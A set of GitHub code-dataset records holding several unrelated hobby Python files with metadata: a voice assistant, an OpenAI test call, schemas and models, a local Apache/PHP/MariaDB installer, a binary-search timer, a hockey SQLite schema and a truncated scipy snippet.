{"api_name": "cv2.cv2", "line_number": 57, "usage_type": "name"}, {"api_name": "cv2.cv2.RETR_TREE", "line_number": 57, "usage_type": "attribute"}, {"api_name": "cv2.cv2.CHAIN_APPROX_SIMPLE", "line_number": 57, "usage_type": "attribute"}, {"api_name": "cv2.cv2.drawContours", "line_number": 58, "usage_type": "call"}, {"api_name": "cv2.cv2", "line_number": 58, "usage_type": "name"}, {"api_name": "random.randint", "line_number": 60, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 60, "usage_type": "name"}, {"api_name": "cv2.cv2.imwrite", "line_number": 61, "usage_type": "call"}, {"api_name": "cv2.cv2", "line_number": 61, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 61, "usage_type": "call"}, {"api_name": "os.path", "line_number": 61, "usage_type": "attribute"}, {"api_name": "flask.session", "line_number": 62, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 63, "usage_type": "name"}]} {"seq_id": "14266957499", "text": "\"\"\"A demo of the Google CloudSpeech recognizer.\"\"\"\nimport threading\nimport time\nimport os\nimport aiy.audio\nimport aiy.cloudspeech\nimport aiy.voicehat\nimport pygame\nimport sys\n\n\nclass musicThread(threading.Thread):\n def __init__(self, threadID, name, mode):\n threading.Thread.__init__(self)\n self.threadID = threadID\n self.name = name\n self.mode = mode\n def run(self):\n pygame.init()\n pygame.mixer.init()\n pygame.time.delay(1000)\n pygame.mixer.music.load('Girls_Like_You.mp3')\n pygame.mixer.init(frequency=15500,size=-16,channels=4)\n pygame.mixer.music.set_volume(0.1)\n pygame.mixer.music.play()\n while True:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n sys.exit\n pygame.mixer.music.close()\nclass musicThread2(threading.Thread):\n def __init__(self, threadID, name, mode):\n threading.Thread.__init__(self)\n self.threadID = threadID\n self.name = name\n self.mode = mode\n def run(self):\n pygame.init()\n pygame.mixer.init()\n pygame.time.delay(1000)\n pygame.mixer.music.load('Sugar.mp3')\n pygame.mixer.init(frequency=15500,size=-16,channels=4)\n pygame.mixer.music.set_volume(0.1)\n pygame.mixer.music.play()\n while True:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n sys.exit\n pygame.mixer.music.close()\n\ndef main():\n recognizer = aiy.cloudspeech.get_recognizer()\n recognizer.expect_phrase('turn off the light')\n recognizer.expect_phrase('turn on the light')\n recognizer.expect_phrase('blink')\n recognizer.expect_phrase('repeat after me')\n recognizer.expect_phrase('where am I')\n recognizer.expect_phrase('play music')\n recognizer.expect_phrase('play next song')\n\n thread1 = musicThread(1,\"musicThread\",1)\n thread2 = musicThread2(2,\"musicThread\",1)\n button = aiy.voicehat.get_button()\n led = aiy.voicehat.get_led()\n aiy.audio.get_recorder().start()\n\n while True:\n print('Press the button and speak')\n button.wait_for_press()\n print('Listening...')\n text = recognizer.recognize()\n if text is None:\n print('Sorry, I did not hear you.')\n else:\n print('You said \"', text, '\"')\n if 'turn on the light' in text:\n led.set_state(aiy.voicehat.LED.ON)\n elif 'turn off the light' in text:\n led.set_state(aiy.voicehat.LED.OFF)\n elif 'blink' in text:\n led.set_state(aiy.voicehat.LED.BLINK)\n elif 'repeat after me' in text:\n to_repeat = text.replace('repeat after me', '', 1)\n aiy.audio.say(to_repeat)\n elif 'where am I' in text:\n aiy.audio.say('Providence University')\n elif 'play music' in text:\n #aiy.audio.play_audio(os.path.abspath(\"Girls_Like_You.mp3\"))\n thread1.start()\n # print('123')\n elif 'play next song' in text:\n aiy.audio.say('play Maroon 5 Sugar')\n thread2.start()\n elif 'goodbye' in text:\n os._exit(0)\n\nif __name__ == '__main__':\n main()\n\n", "repo_name": "ddr78226/helpful-tools", "sub_path": "互動式生活小幫手.py", "file_name": "互動式生活小幫手.py", "file_ext": "py", "file_size_in_byte": 3273, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "threading.Thread", "line_number": 12, "usage_type": "attribute"}, {"api_name": "threading.Thread.__init__", "line_number": 14, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 14, "usage_type": "attribute"}, {"api_name": "pygame.init", "line_number": 19, "usage_type": "call"}, {"api_name": "pygame.mixer.init", "line_number": 20, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 20, "usage_type": "attribute"}, {"api_name": "pygame.time.delay", "line_number": 21, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 21, "usage_type": "attribute"}, {"api_name": "pygame.mixer.music.load", "line_number": 22, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 22, "usage_type": "attribute"}, {"api_name": "pygame.mixer.init", "line_number": 23, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 23, "usage_type": "attribute"}, {"api_name": "pygame.mixer.music.set_volume", "line_number": 24, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 24, "usage_type": "attribute"}, {"api_name": "pygame.mixer.music.play", "line_number": 25, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 25, "usage_type": "attribute"}, {"api_name": "pygame.event.get", "line_number": 27, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 27, "usage_type": "attribute"}, {"api_name": "pygame.QUIT", "line_number": 28, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 29, "usage_type": "attribute"}, {"api_name": "pygame.mixer.music.close", "line_number": 30, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 30, "usage_type": "attribute"}, {"api_name": "threading.Thread", "line_number": 31, "usage_type": "attribute"}, {"api_name": "threading.Thread.__init__", "line_number": 33, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 33, "usage_type": "attribute"}, {"api_name": "pygame.init", "line_number": 38, "usage_type": "call"}, {"api_name": "pygame.mixer.init", "line_number": 39, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 39, "usage_type": "attribute"}, {"api_name": "pygame.time.delay", "line_number": 40, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 40, "usage_type": "attribute"}, {"api_name": "pygame.mixer.music.load", "line_number": 41, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 41, "usage_type": "attribute"}, {"api_name": "pygame.mixer.init", "line_number": 42, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 42, "usage_type": "attribute"}, {"api_name": "pygame.mixer.music.set_volume", "line_number": 43, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 43, "usage_type": "attribute"}, {"api_name": "pygame.mixer.music.play", "line_number": 44, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 44, "usage_type": "attribute"}, {"api_name": "pygame.event.get", "line_number": 46, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 46, "usage_type": "attribute"}, {"api_name": "pygame.QUIT", "line_number": 47, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 48, "usage_type": "attribute"}, {"api_name": "pygame.mixer.music.close", "line_number": 49, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 49, "usage_type": "attribute"}, {"api_name": "aiy.audio.cloudspeech.get_recognizer", "line_number": 52, "usage_type": "call"}, {"api_name": "aiy.audio.cloudspeech", "line_number": 52, "usage_type": "attribute"}, {"api_name": "aiy.audio", "line_number": 52, "usage_type": "name"}, {"api_name": "aiy.audio.voicehat.get_button", "line_number": 63, "usage_type": "call"}, {"api_name": "aiy.audio.voicehat", "line_number": 63, "usage_type": "attribute"}, {"api_name": "aiy.audio", "line_number": 63, "usage_type": "name"}, {"api_name": "aiy.audio.voicehat.get_led", "line_number": 64, "usage_type": "call"}, {"api_name": "aiy.audio.voicehat", "line_number": 64, "usage_type": "attribute"}, {"api_name": "aiy.audio", "line_number": 64, "usage_type": "name"}, {"api_name": "aiy.audio.audio.get_recorder", "line_number": 65, "usage_type": "call"}, {"api_name": "aiy.audio.audio", "line_number": 65, "usage_type": "attribute"}, {"api_name": "aiy.audio", "line_number": 65, "usage_type": "name"}, {"api_name": "aiy.audio.voicehat", "line_number": 77, "usage_type": "attribute"}, {"api_name": "aiy.audio", "line_number": 77, "usage_type": "name"}, {"api_name": "aiy.audio.voicehat", "line_number": 79, "usage_type": "attribute"}, {"api_name": "aiy.audio", "line_number": 79, "usage_type": "name"}, {"api_name": "aiy.audio.voicehat", "line_number": 81, "usage_type": "attribute"}, {"api_name": "aiy.audio", "line_number": 81, "usage_type": "name"}, {"api_name": "aiy.audio.audio.say", "line_number": 84, "usage_type": "call"}, {"api_name": "aiy.audio.audio", "line_number": 84, "usage_type": "attribute"}, {"api_name": "aiy.audio", "line_number": 84, "usage_type": "name"}, {"api_name": "aiy.audio.audio.say", "line_number": 86, "usage_type": "call"}, {"api_name": "aiy.audio.audio", "line_number": 86, "usage_type": "attribute"}, {"api_name": "aiy.audio", "line_number": 86, "usage_type": "name"}, {"api_name": "aiy.audio.audio.say", "line_number": 92, "usage_type": "call"}, {"api_name": "aiy.audio.audio", "line_number": 92, "usage_type": "attribute"}, {"api_name": "aiy.audio", "line_number": 92, "usage_type": "name"}, {"api_name": "os._exit", "line_number": 95, "usage_type": "call"}]} {"seq_id": "9686226438", "text": "import os\nimport openai\nfrom config import apikey\nopenai.api_key = apikey\n\nresponse = openai.Completion.create(\n model=\"text-davinci-003\",\n prompt=\"write a mail for my boss for leave\",\n temperature=1,\n max_tokens=256,\n top_p=1,\n frequency_penalty=0,\n presence_penalty=0\n)\nprint(response)", "repo_name": "prathamgyanani/python_projects", "sub_path": "Jarvis AI/openaitest.py", "file_name": "openaitest.py", "file_ext": "py", "file_size_in_byte": 294, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "openai.api_key", "line_number": 4, "usage_type": "attribute"}, {"api_name": "config.apikey", "line_number": 4, "usage_type": "name"}, {"api_name": "openai.Completion.create", "line_number": 6, "usage_type": "call"}, {"api_name": "openai.Completion", "line_number": 6, "usage_type": "attribute"}]} {"seq_id": "14919570510", "text": "from marshmallow import fields\nfrom marshmallow.validate import Length\nfrom wazo_confd.helpers.mallow import BaseSchema, PJSIPSection, PJSIPSectionOption\n\n\nclass PJSIPTransportDeleteRequestSchema(BaseSchema):\n fallback = fields.UUID(missing=None)\n\n\nclass PJSIPTransportSchema(BaseSchema):\n uuid = fields.UUID(dump_only=True)\n name = fields.String(validate=PJSIPSection(), required=True)\n options = fields.List(\n PJSIPSectionOption(),\n validate=Length(max=128),\n missing=[],\n )\n", "repo_name": "wazo-platform/wazo-confd", "sub_path": "wazo_confd/plugins/pjsip/schema.py", "file_name": "schema.py", "file_ext": "py", "file_size_in_byte": 513, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 9, "dataset": "github-code", "pt": "71", "api": [{"api_name": "wazo_confd.helpers.mallow.BaseSchema", "line_number": 6, "usage_type": "name"}, {"api_name": "marshmallow.fields.UUID", "line_number": 7, "usage_type": "call"}, {"api_name": "marshmallow.fields", "line_number": 7, "usage_type": "name"}, {"api_name": "wazo_confd.helpers.mallow.BaseSchema", "line_number": 10, "usage_type": "name"}, {"api_name": "marshmallow.fields.UUID", "line_number": 11, "usage_type": "call"}, {"api_name": "marshmallow.fields", "line_number": 11, "usage_type": "name"}, {"api_name": "marshmallow.fields.String", "line_number": 12, "usage_type": "call"}, {"api_name": "marshmallow.fields", "line_number": 12, "usage_type": "name"}, {"api_name": "wazo_confd.helpers.mallow.PJSIPSection", "line_number": 12, "usage_type": "call"}, {"api_name": "marshmallow.fields.List", "line_number": 13, "usage_type": "call"}, {"api_name": "marshmallow.fields", "line_number": 13, "usage_type": "name"}, {"api_name": "wazo_confd.helpers.mallow.PJSIPSectionOption", "line_number": 14, "usage_type": "call"}, {"api_name": "marshmallow.validate.Length", "line_number": 15, "usage_type": "call"}]} {"seq_id": "42507188219", "text": "import requests, os, sys\nimport shutil\n\n\nmsvc_redist = \"https://aka.ms/vs/17/release/VC_redist.x64.exe\"\napache2 = \"https://archive.apache.org/dist/httpd/binaries/win32/apache_2.2.9-win32-x86-openssl-0.9.8h-r2.msi\"\napache2_zip = \"https://www.apachelounge.com/download/VS17/binaries/httpd-2.4.57-win64-VS17.zip\"\nphp8 = \"https://windows.php.net/downloads/releases/php-8.2.8-Win32-vs16-x64.zip\"\nmaria_db = \"https://mirrors.gigenet.com/mariadb/mariadb-11.1.1/winx64-packages/mariadb-11.1.1-winx64.zip\"\nphpmyadmin = \"https://files.phpmyadmin.net/phpMyAdmin/5.2.1/phpMyAdmin-5.2.1-all-languages.zip\"\ncomposer = \"https://getcomposer.org/Composer-Setup.exe\"\n\nstage_dir = \"_staging\"\ninstall_dir = \"C:\\\\CLAMPP\\\\\"\n\nhtdocs = f\"{install_dir}Apache24\\\\htdocs\\\\\"\napache_bin = f\"{install_dir}Apache24\\\\bin\\\\\"\nphp_bin = f\"{install_dir}php8.2\\\\\"\n\n#Ripped from https://kodify.net/python/remove-folder-recursively/#remove-folders-recursively-with-osrmdir\ndef remove_directory_tree(start_directory: str):\n try:\n \"\"\"Recursively and permanently removes the specified directory, all of its\n subdirectories, and every file contained in any of those folders.\"\"\"\n for name in os.listdir(start_directory):\n path = os.path.join(start_directory, name)\n if os.path.isfile(path):\n os.remove(path)\n else:\n remove_directory_tree(path)\n os.rmdir(start_directory)\n except FileNotFoundError:\n return\n\ndef download(url, filename):\n r = requests.get(url, allow_redirects=True,headers={\"User-Agent\":\"Mozilla 4.0\"})\n open(filename, 'wb').write(r.content)\n\ndef banner():\n print(\"\\t[#] CLAMPP Installer v0.5\")\n print(\"\\t[#] Composer | Laravel | Apache2 | MariaDB | PHP | PHPMyAdmin\")\n print()\n print(\"\\t[i] The Future is in the Past, and The Future is the CLAMPP Stack!\")\n print(\"\\t[i] Get Up and running with the full setup or just install what you need.\")\n print()\n\ndef menu():\n print(\"\\t[1] Install CLAMPP\")\n print(\"\\t[2] Run Apache2 \")\n\ndef write_launcher_bat():\n bat_file = f\"\"\"@echo off\necho CLAMPP Shell v0.1\ncmd /k \"set PATH=%PATH%;{install_dir}Apache24/bin;{install_dir}php8.2/;{install_dir}mariadb-11.1.1-winx64/bin/\"; \n\"\"\"\n with open(f\"{install_dir}Shell.bat\",\"w\") as batch_f:\n batch_f.write(bat_file)\n print(\"\\t[!] Created Shell.bat\")\n\ndef remove_stage_dir():\n print(\"\\t[X] Removing existing staging files...\")\n remove_directory_tree(stage_dir)\n\ndef remove_install_dir():\n print(\"\\t[X] Removing install directory...\")\n remove_directory_tree(install_dir)\n\ndef create_stage_dir():\n print(\"\\t[!] Creating Staging Dir\")\n os.mkdir(stage_dir)\n\ndef create_install_dir():\n print(\"\\t[i] Creating Install Dir\")\n os.mkdir(f\"{install_dir}\")\n\ndef download_redist():\n print(\"\\t[!] Downloading VC++ Redist....\")\n download(msvc_redist,f\"{stage_dir}\\\\redist.exe\")\n\ndef download_apache2():\n print(\"\\t[!] Downloading Apache2...\")\n download(apache2_zip,f\"{stage_dir}\\\\apache2.zip\")\n\ndef download_php8():\n print(\"\\t[!] Download PHP8.2...\")\n download(php8,f\"{stage_dir}\\\\php8.zip\")\n\ndef download_phpmyadmin():\n print(\"\\t[!] Downloading phpmyadmin...\")\n download(phpmyadmin,f\"{stage_dir}\\\\phpmyadmin.zip\")\n\ndef download_maria():\n print(\"\\t[!] Downloading MariaDB...\")\n download(maria_db,f\"{stage_dir}\\\\maria.zip\")\n\ndef install_redist():\n print(\"\\t[!] Installing Redist...\")\n os.system(f\"{stage_dir}\\\\redist.exe /Q\")\n\ndef install_apache2():\n print(\"\\t[!] Installing Apache2...\")\n #os.system(f\"msiexec /i {stage_dir}\\\\apache2.msi INSTALLDIR={install_dir}\\\\bin\\\\apache2 /passive /qn\")\n os.system(f\"7z x {stage_dir}\\\\apache2.zip -o{install_dir} >nul 2>&1\")\n\ndef install_php8():\n print(\"\\t[!] Installing PHP 8.2...\")\n os.system(f\"7z x {stage_dir}\\\\php8.zip -o{install_dir}php8.2\\\\ >nul 2>&1\")\n\ndef install_maria():\n print(\"\\t[!] Installing MariaDB...\")\n os.system(f\"7z x {stage_dir}\\\\maria.zip -o{install_dir} >nul 2>&1\")\n\ndef install_phpmyadmin():\n print(\"\\t[!] Installing phpmyadmin..\")\n os.system(f\"7z x {stage_dir}\\\\phpmyadmin.zip -o{htdocs} >nul 2>&1\")\n os.rename(f\"{htdocs}phpMyAdmin-5.2.1-all-languages\" ,f\"{htdocs}phpMyAdmin\")\n\ndef config_php():\n print(\"\\t[!] Configuring PHP 8.2\")\n shutil.copy(f\"{php_bin}php.ini-development\",f\"{php_bin}php.ini\")\n phpini_data = open(f\"{install_dir}\\\\php8.2\\\\php.ini\",\"r\").read()\n phpini_data = phpini_data.replace(';extension_dir = \"ext\"','extension_dir = \"ext\"')\n phpini_data = phpini_data.replace(';extension=mysqli','extension=mysqli')\n\n with open(f\"{install_dir}php8.2\\\\php.ini\",\"w\") as out_phpini:\n out_phpini.write(phpini_data)\n out_phpini.write(\"extension=curl\\n\") # Add Laravel Exts\n out_phpini.write(\"extension=fileinfo\\n\")\n out_phpini.write(\"extension=mbstring\\n\")\n out_phpini.write(\"extension=pdo_mysql\\n\")\n out_phpini.write(\"extension=sockets\\n\")\n out_phpini.write(\"extension=zip\\n\")\n out_phpini.write(\"extension=openssl\\n\")\n\ndef config_apache2():\n print(\"\\t[!] Configuring Apache2\")\n php_mod_settings = f\"\"\"\n# PHP 8.2 Config (PAM)\nPHPIniDir {install_dir}/php8.2\nLoadModule php_module {install_dir}/php8.2/php8apache2_4.dll\nAddType application/x-httpd-php .php\n\"\"\"\n\n apache2_conf = open(f\"{install_dir}\\\\Apache24\\\\conf\\\\httpd.conf\",\"r\")\n conf_block = apache2_conf.read()\n apache2_conf.close()\n conf_block = conf_block.replace(\"c:/Apache24\",f\"{install_dir}/Apache24/\")\n conf_block = conf_block.replace(\"DirectoryIndex index.html\",\"DirectoryIndex index.php index.html\")\n conf_block = conf_block.replace('ServerRoot \"${SRVROOT}\"','ServerRoot \"${SRVROOT}\"\\nServerName \"PAM\"')\n\n apache2_conf = open(f\"{install_dir}\\\\Apache24\\\\conf\\\\httpd.conf\",\"w\")\n conf_block += php_mod_settings\n apache2_conf.write(conf_block)\n apache2_conf.close()\n\n test_php = \"\"\"\n phpMyAdmin
\n \n \"\"\"\n shutil.move(f\"{install_dir}\\\\Apache24\\\\htdocs\\\\index.html\",f\"{install_dir}\\\\Apache24\\\\htdocs\\\\index.php\")\n with open(f\"{install_dir}\\\\Apache24\\\\htdocs\\\\index.php\",\"w\") as indexphp:\n indexphp.write(test_php)\n print(\"\\t[!] Added index.php\")\n\ndef test_config():\n print(\"\\t[?] Testing Configuration...\")\n os.system(f\"{install_dir}\\\\Apache24\\\\bin\\\\httpd.exe -t\")\n\n\n#print(\"\\t[!] Installing Composer\")\n\n#print(\"\\t[!] Installing Laravel\")\ndef laravel_project(name):\n print(f\"Building {name} Laravel Project...\")\n os.system(f\"cd {htdocs} && composer create-project laravel/laravel {name}\")\n os.system(f\"cd {htdocs}\\\\{name} && {php_bin}\\\\php.exe artisan serv\")\n\n\nif __name__ == \"__main__\":\n banner()\n menu()\n try:\n sel = int(input(\"\\t?\"))\n if sel == 1:\n #remove_stage_dir()\n remove_install_dir()\n\n #create_stage_dir()\n create_install_dir()\n\n #download_redist()\n #download_apache2()\n #download_php8()\n #download_phpmyadmin()\n #download_maria()\n\n #install_redist()\n install_apache2()\n install_maria()\n install_php8()\n install_phpmyadmin()\n\n config_apache2()\n config_php()\n test_config()\n #laravel_project(input(\"Enter a Project Name: \"))\n write_launcher_bat()\n os.system(f\"{install_dir}Shell.bat\")\n print(\"\\t[!] Ready\")\n elif sel == 2:\n print(\"\\t[i] Starting Apache2...\")\n print(\"\\t[i] Ctrl+C to Stop Server\")\n import subprocess, time\n httpd = subprocess.Popen([f\"{apache_bin}httpd.exe\"])\n while httpd.poll() is None:\n time.sleep(1)\n print(\"\\t[x] Apache2 Stopped\")\n \n except KeyboardInterrupt:\n pass\n\n", "repo_name": "mouseroot/CLAMPP", "sub_path": "PAM_Install.py", "file_name": "PAM_Install.py", "file_ext": "py", "file_size_in_byte": 7884, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.listdir", "line_number": 25, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 26, "usage_type": "call"}, {"api_name": "os.path", "line_number": 26, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 27, "usage_type": "call"}, {"api_name": "os.path", "line_number": 27, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 28, "usage_type": "call"}, {"api_name": "os.rmdir", "line_number": 31, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 36, "usage_type": "call"}, {"api_name": "os.mkdir", "line_number": 70, "usage_type": "call"}, {"api_name": "os.mkdir", "line_number": 74, "usage_type": "call"}, {"api_name": "os.system", "line_number": 98, "usage_type": "call"}, {"api_name": "os.system", "line_number": 103, "usage_type": "call"}, {"api_name": "os.system", "line_number": 107, "usage_type": "call"}, {"api_name": "os.system", "line_number": 111, "usage_type": "call"}, {"api_name": "os.system", "line_number": 115, "usage_type": "call"}, {"api_name": "os.rename", "line_number": 116, "usage_type": "call"}, {"api_name": "shutil.copy", "line_number": 120, "usage_type": "call"}, {"api_name": "shutil.move", "line_number": 162, "usage_type": "call"}, {"api_name": "os.system", "line_number": 169, "usage_type": "call"}, {"api_name": "os.system", "line_number": 177, "usage_type": "call"}, {"api_name": "os.system", "line_number": 178, "usage_type": "call"}, {"api_name": "os.system", "line_number": 210, "usage_type": "call"}, {"api_name": "subprocess.Popen", "line_number": 216, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 218, "usage_type": "call"}]} {"seq_id": "23365452276", "text": "import matplotlib.pyplot as plt\nimport numpy as np\nfrom math import ceil\nfrom time import time\nfrom random import randint, randrange\n\n\ndef bin_search(arr, key):\n low = 0\n high = len(arr) - 1\n\n while low != high:\n mid = ceil((low + high)/2)\n if arr[mid] == key:\n return mid\n if arr[mid] > key:\n high = mid - 1\n else:\n low = mid + 1\n if arr[low] == key:\n return low\n return None\n\ntimes = []\nelements = []\n\narr_lengths = [10, 100, 1000, 10000, 10**6, 10**7, 10**8]\nxlabels = ['10', '10^2', '10^3', '10^4', '10^5', '10^6', '10^7', '10^8']\nfor i in arr_lengths:\n arr = [j for j in range(i)]\n\n start = time()\n v = bin_search(arr, randrange(i))\n end = time() - start\n print(v)\n \n elements.append(len(arr))\n times.append(end)\n \nplt.xticks(np.arange(len(elements)), xlabels)\nplt.plot(np.arange(len(elements)), times, 'o-')\nplt.show()", "repo_name": "Michanix/Algorithms-Intro-Course", "sub_path": "04.py", "file_name": "04.py", "file_ext": "py", "file_size_in_byte": 935, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "math.ceil", "line_number": 13, "usage_type": "call"}, {"api_name": "time.time", "line_number": 32, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 33, "usage_type": "call"}, {"api_name": "time.time", "line_number": 34, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 40, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 40, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 40, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 41, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 41, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 41, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 42, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 42, "usage_type": "name"}]} {"seq_id": "24579005338", "text": "from django.conf import settings\nfrom django.db.models import Model, ForeignKey, CASCADE, CharField, IntegerField\n\n# Create your models here.\n\naccount_types = ((\"CHK\", \"Checking\"), (\"SVG\", \"Savings\"))\n\nclass BankAccount(Model):\n owner = ForeignKey(settings.AUTH_USER_MODEL, on_delete=CASCADE)\n name = CharField(max_length=255)\n type = CharField(max_length=3, choices=account_types)\n\n def __str__(self):\n return self.name\n\ntransaction_types = ((\"DEP\", \"Deposit\"), (\"WTH\", \"Withdrawal\"))\n\nclass Transaction(Model):\n account = ForeignKey(BankAccount, on_delete=CASCADE)\n type = CharField(max_length=3, choices=transaction_types)\n amount = IntegerField()", "repo_name": "oka4dc/django.drf.react.bank.project", "sub_path": "backend/bank_accounts/models.py", "file_name": "models.py", "file_ext": "py", "file_size_in_byte": 660, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "django.db.models.Model", "line_number": 8, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 9, "usage_type": "call"}, {"api_name": "django.conf.settings.AUTH_USER_MODEL", "line_number": 9, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 9, "usage_type": "name"}, {"api_name": "django.db.models.CASCADE", "line_number": 9, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 10, "usage_type": "call"}, {"api_name": "django.db.models.CharField", "line_number": 11, "usage_type": "call"}, {"api_name": "django.db.models.Model", "line_number": 18, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 19, "usage_type": "call"}, {"api_name": "django.db.models.CASCADE", "line_number": 19, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 20, "usage_type": "call"}, {"api_name": "django.db.models.IntegerField", "line_number": 21, "usage_type": "call"}]} {"seq_id": "8317237198", "text": "import sqlite3\n\ndef create_tables(database_name):\n \"\"\"\n Builds all table structure in a new SQLite3 database\n \"\"\"\n if not isinstance(database_name, str):\n raise TypeError(\"Database name must be a string.\")\n\n if not '.' in database_name:\n # define extension\n database_name += '.db'\n\n # define table structure\n statements = [\n \"\"\"\n CREATE TABLE IF NOT EXISTS players (\n player_id INT PRIMARY KEY,\n first_name VARCHAR,\n last_name VARCHAR,\n nhl_api_link VARCHAR,\n position VARCHAR,\n jersey_number INT,\n birth_date DATE,\n nationality VARCHAR,\n height FLOAT,\n weight FLOAT,\n shoots_catches VARCHAR\n );\n \"\"\",\n \"\"\"\n CREATE TABLE IF NOT EXISTS teams (\n team_id INT PRIMARY KEY,\n team_name VARCHAR,\n nhl_api_link VARCHAR,\n abbreviation VARCHAR\n );\n \"\"\",\n \"\"\"\n CREATE TABLE IF NOT EXISTS officials (\n official_id INT PRIMARY KEY,\n official_name VARCHAR,\n official_type VARCHAR,\n nhl_api_link VARCHAR\n );\n \"\"\",\n \"\"\"\n CREATE TABLE IF NOT EXISTS games (\n game_id INT PRIMARY KEY,\n start_datetime DATETIME,\n end_datetime DATETIME,\n gmt_offset INT,\n home_team_id INT,\n away_team_id INT,\n official_1_id INT,\n official_2_id INT,\n official_3_id INT,\n official_4_id INT,\n FOREIGN KEY (home_team_id) REFERENCES teams(team_id),\n FOREIGN KEY (away_team_id) REFERENCES teams(team_id),\n FOREIGN KEY (official_1_id) REFERENCES officials(official_id),\n FOREIGN KEY (official_2_id) REFERENCES officials(official_id),\n FOREIGN KEY (official_3_id) REFERENCES officials(official_id),\n FOREIGN KEY (official_4_id) REFERENCES officials(official_id)\n );\n \"\"\",\n \"\"\"\n CREATE TABLE IF NOT EXISTS plays (\n game_id INT PRIMARY KEY,\n period INT,\n time_elapsed VARCHAR,\n home_players_on_ice INT,\n away_players_on_ice INT,\n play_type VARCHAR,\n play_coordinate_x INT,\n play_coordinate_y INT,\n player_1_id INT,\n player_2_id INT,\n home_player_1_id INT,\n home_player_2_id INT,\n home_player_3_id INT,\n home_player_4_id INT,\n home_player_5_id INT,\n home_player_6_id INT,\n away_player_1_id INT,\n away_player_2_id INT,\n away_player_3_id INT,\n away_player_4_id INT,\n away_player_5_id INT,\n away_player_6_id INT,\n FOREIGN KEY (player_1_id) REFERENCES players(player_id),\n FOREIGN KEY (player_2_id) REFERENCES players(player_id),\n FOREIGN KEY (home_player_1_id) REFERENCES players(player_id),\n FOREIGN KEY (home_player_2_id) REFERENCES players(player_id),\n FOREIGN KEY (home_player_3_id) REFERENCES players(player_id),\n FOREIGN KEY (home_player_4_id) REFERENCES players(player_id),\n FOREIGN KEY (home_player_5_id) REFERENCES players(player_id),\n FOREIGN KEY (home_player_6_id) REFERENCES players(player_id),\n FOREIGN KEY (away_player_1_id) REFERENCES players(player_id),\n FOREIGN KEY (away_player_2_id) REFERENCES players(player_id),\n FOREIGN KEY (away_player_3_id) REFERENCES players(player_id),\n FOREIGN KEY (away_player_4_id) REFERENCES players(player_id),\n FOREIGN KEY (away_player_5_id) REFERENCES players(player_id),\n FOREIGN KEY (away_player_6_id) REFERENCES players(player_id)\n );\n \"\"\"\n ]\n\n with sqlite3.connect(database_name) as conn:\n cursor = conn.cursor()\n \n print('Creating tables... ', end='')\n for stmnt in statements:\n cursor.execute(stmnt)\n \n print('Done.')\n return\n", "repo_name": "yanniskatsaros/hockey-analytics", "sub_path": "src/initdb.py", "file_name": "initdb.py", "file_ext": "py", "file_size_in_byte": 4159, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "sqlite3.connect", "line_number": 109, "usage_type": "call"}]} {"seq_id": "9022581919", "text": "\"\"\"\n Name : c5_25_get_critical_value_F_test.py\n Book : Hands-on Data Science with Anaconda )\n Publisher: Packt Publishing Ltd. \n Author : Yuxing Yan and James Yan\n Date : 1/25/2018\n email : yany@canisius.edu\n paulyxy@hotmail.com\n\"\"\"\n\n\nimport scipy as sp\nalpha=0.10\nd1=1\nd2=1\ncritical=sp.stats.f.ppf(q=1-alpha, dfn=d1, 